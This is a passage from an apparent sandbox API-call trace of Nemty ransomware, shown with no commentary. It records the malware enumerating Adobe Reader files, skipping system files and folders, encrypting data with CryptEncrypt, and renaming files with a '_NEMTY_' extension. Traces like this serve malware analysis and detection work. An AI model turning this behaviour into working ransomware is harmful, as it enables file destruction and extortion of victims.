lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0199.889] CloseHandle (hObject=0xffffffff) returned 0 [0199.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0199.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0199.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0199.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0199.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.889] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-0"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-0._nemty_kgobjgd_")) returned 0 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0199.889] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-1", cAlternateFileName="AD4DFF~1")) returned 1 [0199.889] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2=".") returned 1 [0199.889] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="..") returned 1 [0199.889] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="...") returned 1 [0199.889] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="windows") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="$RECYCLE.BIN") returned 1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="rsa") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="NTDETECT.COM") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="ntldr") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="MSDOS.SYS") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="IO.SYS") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="boot.ini") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="boot.ini") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="AUTOEXEC.BAT") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="ntuser.dat") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="desktop.ini") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="CONFIG.SYS") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="RECYCLER") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="BOOTSECT.BAK") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="bootmgr") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="programdata") returned -1 [0199.890] lstrcmpiW (lpString1="Adobe-Japan1-1", lpString2="appdata") returned -1 [0199.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-1", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-1", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-1", lpUsedDefaultChar=0x0) returned 14 [0199.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-1", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-1", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-1", lpUsedDefaultChar=0x0) returned 14 [0199.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-1", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-1", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-1", lpUsedDefaultChar=0x0) returned 14 [0199.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-1", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Japan1-1", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Japan1-1", lpUsedDefaultChar=0x0) returned 14 [0199.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0199.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0199.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0199.891] Sleep (dwMilliseconds=0x5) [0199.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2acb57f0, dwHighDateTime=0x1d561e8)) [0199.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2acb57f0, dwHighDateTime=0x1d561e8)) [0199.896] GetLastError () returned 0x5 [0199.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0199.896] GetLastError () returned 0x5 [0199.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0199.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.897] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0199.897] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0199.897] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0199.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0199.897] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="i+Yo/ODdSdcVcEPOQaAculOAY2D6uv0cZhsvdz/6hzs1I8NWEIf1rRMZxq/oVIVm\r\nrrHToWs1x+isRdCVP0iL+Qwyxtg5C7n4QBYCY4lyoDwU25Egr+l7kQHyByHbECIJ\r\n9RnIHhjk+KlWfZXrPb8oc1NVaBmZwYlK5u146uOTxNt773qf5YLZl/Tvrs7gnyPe\r\nCYdIb9x1qc6F4zJMY2C38bbYfYP94/g5bnqDnRJ+CLWsbImqeePApop39rPHGGML\r\nwSx2N65y9ZUWABquIQP/6vfRBSMxZW2B1CfJpBxNg9QPWOaWKDcvg9q3DO4ujr9Q\r\n5+UcTAXPC8d64EVzFFGUcw==\r\n", pcchString=0x653e91c) returned 1 [0199.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0199.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0199.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0199.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0199.897] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0199.897] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0199.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0199.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.974] WriteFile (in: 